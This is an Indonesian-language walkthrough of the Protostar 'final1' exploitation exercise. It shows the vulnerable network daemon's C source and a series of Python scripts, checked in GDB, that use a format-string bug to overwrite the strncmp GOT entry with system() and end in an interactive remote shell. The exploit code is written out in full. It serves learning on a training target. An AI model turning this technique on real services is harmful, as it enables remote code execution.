Protostar Final 1
Alat dan Bahan
- Fail: final1
- Sistem operasi: Debian 9 dengan arsitektur 64 bit.
Mengatur Lingkungan Pekerjaan
- Source Code
#include "../common/common.c"
#include <syslog.h>
#define NAME "final1"
#define UID 0
#define GID 0
#define PORT 2994
char username[128];
char hostname[64];
void logit(char *pw)
{
char buf[512];
snprintf(buf, sizeof(buf), "Login from %s as [%s] with password [%s]\n", hostname, username, pw);
syslog(LOG_USER|LOG_DEBUG, buf);
}
void trim(char *str)
{
char *q;
q = strchr(str, '\r');
if(q) *q = 0;
q = strchr(str, '\n');
if(q) *q = 0;
}
void parser()
{
char line[128];
printf("[final1] $ ");
while(fgets(line, sizeof(line)-1, stdin)) {
trim(line);
if(strncmp(line, "username ", 9) == 0) {
strcpy(username, line+9);
} else if(strncmp(line, "login ", 6) == 0) {
if(username[0] == 0) {
printf("invalid protocol\n");
} else {
logit(line + 6);
printf("login failed\n");
}
}
printf("[final1] $ ");
}
}
void getipport()
{
int l;
struct sockaddr_in sin;
l = sizeof(struct sockaddr_in);
if(getpeername(0, &sin, &l) == -1) {
err(1, "you don't exist");
}
sprintf(hostname, "%s:%d", inet_ntoa(sin.sin_addr), ntohs(sin.sin_port));
}
int main(int argc, char **argv, char **envp)
{
int fd;
char *username;
/* Run the process as a daemon */
background_process(NAME, UID, GID);
/* Wait for socket activity and return */
fd = serve_forever(PORT);
/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);
getipport();
parser();
}
Identifikasi Kelemahan
Pada klien, buatlah script a.py
dibawah ini untuk mencoba koneksi ke server.
import socket
import struct
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 2994))
def read_until(check):
buffer = ''
while check not in buffer:
buffer += s.recv(1)
return buffer
username = ''
login = ''
print read_until("[final1] $ ")
raw_input('waiting... hit [enter]')
s.send(username+'\n')
print read_until("[final1] $ ")
s.send(login+'\n')
print read_until("[final1] $ ")
Jalankan dengan perintah.
$ python a.py
waiting... hit [enter]
Jangan tekan enter
! Pada server, login sebagai root
dan debug program dengan GDB.
# pidof final1
1456 1314
# gdb -q --pid 1456
Attaching to process 1456
Reading symbols from /opt/protostar/bin/final1...done.
Reading symbols from /lib/libc.so.6...Reading symbols from /usr/lib/debug/lib/libc-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...Reading symbols from /usr/lib/debug/lib/ld-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
0xb7f53c1e in __read_nocancel () at ../sysdeps/unix/syscall-template.S:82
82 ../sysdeps/unix/syscall-template.S: No such file or directory.
in ../sysdeps/unix/syscall-template.S
(gdb)
(gdb) info functions strncmp
All functions matching regular expression "strncmp":
File strncmp.c:
int *__GI_strncmp(const char *, const char *, size_t);
File ../sysdeps/i386/i486/bits/string.h:
int __strncmp_g(const char *, const char *, size_t);
Non-debugging symbols:
0x08048d9c strncmp
0x08048d9c strncmp@plt
Current language: auto
The current source language is "auto; currently asm".
(gdb) x/3i 0x08048d9c
0x8048d9c <strncmp@plt>: jmp *0x804a1a8
0x8048da2 <strncmp@plt+6>: push $0x160
0x8048da7 <strncmp@plt+11>: jmp 0x8048acc
(gdb) x/wx 0x804a1a8
0x804a1a8 <_GLOBAL_OFFSET_TABLE_+188>: 0x08048da2
(gdb) x system
0xb7ecffb0 <__libc_system>: 0x890cec83
(gdb) info symbol system
system in section .text of /lib/libc.so.6
Coba login dengan format string untuk mencari elemen 0x41414141
pada output /var/log/syslog
.
# nc 127.0.0.1 2994
[final1] $ username AAAA %x %x %x %x %x %x %x %x
[final1] $ login BBBB %x %x %x %x %x %x %x %x
login failed
[final1] $ ^C
# cat /var/log/syslog
May 18 17:31:54 (none) final1: Login from 127.0.0.1:40201 as [AAAA 8049ee4 804a2a0 804a220 bffffc16 b7fd7ff4 bffffa68 69676f4c 7266206e] with password [BBBB 31206d6f 302e3732 312e302e 3230343a 61203130 415b2073 20414141 25207825]
Karena alignment masih berantakan disebabkan jumlah karakter hostname yang selalu berubah.
415b2073 20414141
Maka perlu diberi padding agar alignment bisa tetap saama.
pad = "A"*(24-len(hostname))
Buatlah script b.py
yang berisi kode dibawah ini.
import socket
import struct
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 2994))
def read_until(check):
buffer = ''
while check not in buffer:
buffer += s.recv(1)
return buffer
STRNCMP = struct.pack("I", 0x0804a1a8)
# subs for system
# 0xb7ecffb0 <__libc_system>: 0x890cec83
# May 18 16:42:47 (none) final1: Login from 127.0.0.1:40200 as [a] with password [a]
ip, port = s.getsockname()
hostname = ip+':'+str(port)
pad = "A"*(24-len(hostname))
username = pad+'BBBB'+'%08x '*28
login = 'CCCC'
print read_until("[final1] $ ")
raw_input('waiting... hit [enter]')
s.send('username '+username+'\n')
#login = raw_input('waiting... hit [enter]')
s.send('login '+login+'\n')
print read_until("[final1] $ ")
Jalankan script diatas dan baca /var/log/syslog
untuk melihat output.
# python b.py
[final1] $
waiting... hit [enter]
[final1] $
# tail /var/log/syslog
May 20 02:58:50 (none) final1: Login from 127.0.0.1:33373 as [AAAAAAAAABBBB08049ee4 0804a2a0 0804a220 bffffbd6 b7fd7ff4 bffffa28 69676f4c 7266206e 31206d6f 302e3732 312e302e 3333333a 61203337 415b2073 41414141 41414141 42424242 78383025 38302520 30252078 ] with password [CCCC]
Buffer BBBB
sudah rapi dengan 42424242
yang terletak pada elemen ke 17. Buatlah script c.py
dengan kode dibawah ini.
import socket
import struct
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 2994))
def read_until(check):
buffer = ''
while check not in buffer:
buffer += s.recv(1)
return buffer
STRNCMP = struct.pack("I", 0x0804a1a8)
# subs for system
# 0xb7ecffb0 <__libc_system>: 0x890cec83
# May 18 16:42:47 (none) final1: Login from 127.0.0.1:40200 as [a] with password [a]
ip, port = s.getsockname()
hostname = ip+':'+str(port)
pad = "A"*(24-len(hostname))
username = pad+'BBBB'+STRNCMP+'%17$08x %18$08n'
login = 'CCCC'
print read_until("[final1] $ ")
raw_input('waiting... hit [enter]')
s.send('username '+username+'\n')
s.send('login '+login+'\n')
print read_until("[final1] $ ")
Jalankan script diatas, dan jangan tekan enter
sebelum mengaktifkan GDB dan memeriksa alamat strncmp
.
# python c.py
[final1] $
waiting... hit [enter]
Pada server, gunakan GDB.
# pidof final1
1529 1314
# gdb -q --pid 1529
Attaching to process 1529
Reading symbols from /opt/protostar/bin/final1...done.
Reading symbols from /lib/libc.so.6...Reading symbols from /usr/lib/debug/lib/libc-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...Reading symbols from /usr/lib/debug/lib/ld-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
0xb7f53c1e in __read_nocancel () at ../sysdeps/unix/syscall-template.S:82
82 ../sysdeps/unix/syscall-template.S: No such file or directory.
in ../sysdeps/unix/syscall-template.S
(gdb) x/wx 0x0804a1a8
0x804a1a8 <_GLOBAL_OFFSET_TABLE_+188>: 0x08048da2
Current language: auto
The current source language is "auto; currently asm".
Pada klien tekan enter
sampai output
dibawah ini muncul.
# python c.py
[final1] $
waiting... hit [enter]
[final1] $
Baru, pada server tekan c
untuk melanjutkan proses dan periksa GOT strncmp
.
(gdb) c
Continuing.
Program received signal SIGPIPE, Broken pipe.
0xb7f53c8e in __write_nocancel () at ../sysdeps/unix/syscall-template.S:82
82 ../sysdeps/unix/syscall-template.S: No such file or directory.
in ../sysdeps/unix/syscall-template.S
(gdb) x/wx 0x0804a1a8
0x804a1a8 <_GLOBAL_OFFSET_TABLE_+188>: 0x00000039
Untuk mendapatkan alamat strncmp
pada server maka kurangi nilai system
dengan offset tersebut pada byte yang berpengaruh agar fungsi strncmp
bisa ditukar dengan fungsi system
.
>>> 0xb7ecffb0
>>> 0x0000ffb0 - 0x00000039+8
>>> 65407
Buatlah script e.py
dengan kode dibawah ini.
import socket
import struct
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 2994))
def read_until(check):
buffer = ''
while check not in buffer:
buffer += s.recv(1)
return buffer
STRNCMP = struct.pack("I", 0x0804a1a8)
# subs for system
# 0xb7ecffb0 <__libc_system>: 0x890cec83
# May 18 16:42:47 (none) final1: Login from 127.0.0.1:40200 as [a] with password [a]
ip, port = s.getsockname()
hostname = ip+':'+str(port)
pad = "A"*(24-len(hostname))
username = pad+'BBBB'+STRNCMP+'%17$65407x %18$08n'
login = 'CCCC'
print read_until("[final1] $ ")
raw_input('waiting... hit [enter]')
s.send('username '+username+'\n')
#login = raw_input('waiting... hit [enter]')
s.send('login '+login+'\n')
print read_until("[final1] $ ")
Jalankan script diatas, dan jangan tekan enter
sebelum mengaktifkan GDB dan memeriksa alamat strncmp
.
# python e.py
[final1] $
waiting... hit [enter]
Pada server, gunakan GDB.
# pidof final1
1565 1314
# gdb -q --pid 1565
Attaching to process 1565
Reading symbols from /opt/protostar/bin/final1...done.
Reading symbols from /lib/libc.so.6...Reading symbols from /usr/lib/debug/lib/libc-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...Reading symbols from /usr/lib/debug/lib/ld-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
0xb7f53c1e in __read_nocancel () at ../sysdeps/unix/syscall-template.S:82
82 ../sysdeps/unix/syscall-template.S: No such file or directory.
in ../sysdeps/unix/syscall-template.S
(gdb) x/wx 0x0804a1a8
0x804a1a8 <_GLOBAL_OFFSET_TABLE_+188>: 0x08048da2
Current language: auto
The current source language is "auto; currently asm".
(gdb)
Pada klien tekan enter
sampai output
dibawah ini muncul.
# python e.py
[final1] $
waiting... hit [enter]
[final1] $
Baru, pada server tekan c
untuk melanjutkan proses dan periksa GOT strncmp
.
(gdb) c
Continuing.
Program received signal SIGPIPE, Broken pipe.
0xb7f53c8e in __write_nocancel () at ../sysdeps/unix/syscall-template.S:82
82 ../sysdeps/unix/syscall-template.S: No such file or directory.
in ../sysdeps/unix/syscall-template.S
(gdb) x/wx 0x0804a1a8
0x804a1a8 <_GLOBAL_OFFSET_TABLE_+188>: 0x0000ffb0
GOT perlu dimodifikasi agar diarahkan ke alamat system
pada elemen ke 18. Perlu dihitung juga offset byte awal system
dengan byte
sebelumnya 0xffb0
. Tambahkan byte didepan agar hasilnya positif.
# python
>>> 0x1b7ec - 0xffb0-1
>>> 47163
Buatlah script g.py
dengan kode dibawah ini.
import socket
import struct
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 2994))
def read_until(check):
buffer = ''
while check not in buffer:
buffer += s.recv(1)
return buffer
STRNCMP = struct.pack("I", 0x0804a1a8)
STRNCMP2 = struct.pack("I", 0x0804a1a8+2)
# subs for system
# 0xb7ecffb0 <__libc_system>: 0x890cec83
# May 18 16:42:47 (none) final1: Login from 127.0.0.1:40200 as [a] with password [a]
ip, port = s.getsockname()
hostname = ip+':'+str(port)
pad = "A"*(24-len(hostname))
username = pad+'BBBB'+STRNCMP+STRNCMP2+'%17$65403x %18$n'+'%18$47163x %19$n'
login = 'CCCC'
print read_until("[final1] $ ")
raw_input('waiting... hit [enter]')
s.send('username '+username+'\n')
#login = raw_input('waiting... hit [enter]')
s.send('login '+login+'\n')
print read_until("[final1] $ ")
Jalankan script diatas, dan jangan tekan enter
sebelum mengaktifkan GDB dan memeriksa alamat strncmp
.
# python g.py
[final1] $
waiting... hit [enter]
Pada server, gunakan GDB.
# pidof final1
10784 1314
# gdb -q --pid 10784
Attaching to process 10784
Reading symbols from /opt/protostar/bin/final1...done.
Reading symbols from /lib/libc.so.6...Reading symbols from /usr/lib/debug/lib/libc-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...Reading symbols from /usr/lib/debug/lib/ld-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
0xb7f53c1e in __read_nocancel () at ../sysdeps/unix/syscall-template.S:82
82 ../sysdeps/unix/syscall-template.S: No such file or directory.
in ../sysdeps/unix/syscall-template.S
(gdb)
Pada klien tekan enter
sampai output
dibawah ini muncul.
# python g.py
[final1] $
waiting... hit [enter]
[final1] $
Baru, pada server tekan c
untuk melanjutkan proses dan periksa GOT strncmp
.
(gdb) c
Continuing.
Program received signal SIGPIPE, Broken pipe.
0xb7f53c8e in __write_nocancel () at ../sysdeps/unix/syscall-template.S:82
82 ../sysdeps/unix/syscall-template.S: No such file or directory.
in ../sysdeps/unix/syscall-template.S
Current language: auto
The current source language is "auto; currently asm".
(gdb) x/wx 0x0804a1a8
0x804a1a8 <_GLOBAL_OFFSET_TABLE_+188>: 0xb7ecffb0
GOT strncmp
berhasil ditimpa dengan fungsi system
yang beralamatkan pada 0xb7ecffb0
. Buatlah script
h.py
pada klien dan tambahkan telnetlib
agar bisa interaksi langsung layaknya reverse shell.
import socket
import struct
import telnetlib
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.56.101', 2994))
def read_until(check):
buffer = ''
while check not in buffer:
buffer += s.recv(1)
return buffer
STRNCMP = struct.pack("I", 0x0804a1a8)
STRNCMP2 = struct.pack("I", 0x0804a1a8+2)
# subs for system
# 0xb7ecffb0 <__libc_system>: 0x890cec83
# May 18 16:42:47 (none) final1: Login from 127.0.0.1:40200 as [a] with password [a]
ip, port = s.getsockname()
hostname = ip+':'+str(port)
pad = "A"*(24-len(hostname))
username = pad+'BBBB'+STRNCMP+STRNCMP2+'%17$65403x %18$n'+'%18$47163x %19$n'
login = 'CCCC'
print read_until("[final1] $ ")
s.send('username '+username+'\n')
s.send('login '+login+'\n')
print read_until("[final1] $ ")
t = telnetlib.Telnet()
t.sock = s
t.interact()
Referensi